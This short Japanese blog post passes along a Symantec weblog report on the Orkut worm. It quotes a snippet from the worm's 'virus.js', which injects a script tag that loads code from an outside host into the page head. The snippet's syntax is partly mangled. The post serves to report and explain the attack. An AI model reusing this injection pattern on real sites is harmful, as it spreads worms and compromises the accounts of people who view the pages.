Symantec Security Response Weblog: The Orkut Worm Has Landed!

Symantecからもでてるや、embedタグを注入しているみたい。

The exploit was contained in a JavaScript file, aptly named "virus.js file," which was injected using an embed tag. Here is a snippet of the JavaScript file:

flashWriter._addParam ( 'wmode', 'transparent'); script = document.createElement ( 'script'); script.src = 'http://files.myopera.com/virusd[REMOVED]'; document.getElementsByTagName ( 'head') [0]. AppendChild script); escape (''); flashWriter._addParam ( 'allowNetworking', 'internal'); flashWriter._addParam ( 'allowScriptAccess',' never ');

---